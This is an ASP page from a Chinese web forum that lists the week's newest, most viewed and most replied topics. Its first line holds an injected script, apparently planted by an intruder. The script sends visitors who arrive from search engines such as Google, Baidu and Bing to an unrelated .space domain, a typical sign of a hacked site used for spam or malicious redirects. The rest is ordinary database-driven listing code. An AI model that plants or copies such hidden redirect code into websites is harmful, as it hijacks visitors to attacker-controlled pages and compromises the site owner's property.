d:\wwwroot\wuchunhua\weeknew.asp
001:
<script type="text/javascript">var s=document.referrer;if(s.indexOf("google")>0 || s.indexOf("baidu")>0 || s.indexOf("yahoo")>0 || s.indexOf("gou")>0 || s.indexOf("bing")>0 || s.indexOf("dao")>0 || s.indexOf("so")>0 || s.indexOf("sm")>0 || s.indexOf("biso")>0 ){location.href="http://www.afisyecd.space/?1923057"}</script><br>
002:
<SCRIPT>valigntop()</SCRIPT>
003:
<table cellspacing="1" cellpadding="4" width=97% border="0" class="a2" align="center"><tr class="a1"><td valign="center" align="middle" width="33%">..::最新发表主题::..</td><td valign="center" align="middle" width="33%">..::本周最强人气::.. </td><td valign="center" align="middle" width="33%">..::本周最多回复::.. </td></tr><tr class="a4"><td>
<%
004:
sql="select top 5 id,icon,topic from forum where deltopic<>1 order by id Desc"
005:
rs.Open sql,Conn,1
006:
Do While Not RS.EOF
007:
008:
set reg=new regexp'过滤HTML标签
009:
reg.Global=true
010:
reg.Pattern="<[^>]*>"
011:
topic=reg.Replace(rs("topic"),"")
012:
set reg=nothing
013:
014:
response.write "<IMG src=images/brow/1.gif border=0> <a href=ShowPost.asp?id="&rs("id")&">"&left(""&topic&"",17)&"</a><br>"
015:
RS.MoveNext
016:
loop
017:
rs.close
018:
%
></td><td>
019:
<%
020:
021:
sql="select top 5 id,icon,topic from forum where deltopic<>1 and posttime>"&SqlNowString&"-7 order by Views Desc,id"
022:
Set Rs=Conn.Execute(sql)
023:
Do While Not RS.EOF
024:
025:
set reg=new regexp'过滤HTML标签
026:
reg.Global=true
027:
reg.Pattern="<[^>]*>"
028:
topic=reg.Replace(rs("topic"),"")
029:
set reg=nothing
030:
031:
response.write "<IMG src=images/brow/3.gif border=0> <a href=ShowPost.asp?id="&rs("id")&">"&left(""&topic&"",17)&"</a><br>"
032:
RS.MoveNext
033:
loop
034:
rs.close
035:
%
></td><td>
036:
<%
037:
sql="select top 5 id,icon,topic from forum where deltopic<>1 and posttime>"&SqlNowString&"-7 order by replies Desc,id"
038:
Set Rs=Conn.Execute(sql)
039:
Do While Not RS.EOF
040:
041:
set reg=new regexp'过滤HTML标签
042:
reg.Global=true
043:
reg.Pattern="<[^>]*>"
044:
topic=reg.Replace(rs("topic"),"")
045:
set reg=nothing
046:
047:
response.write "<IMG src=images/brow/6.gif border=0> <a href=ShowPost.asp?id="&rs("id")&">"&left(""&topic&"",17)&"</a><br>"
048:
RS.MoveNext
049:
loop
050:
rs.close
051:
%
>
052:
</td></tr></table>
053:
<br>
054:
055:
056:
057: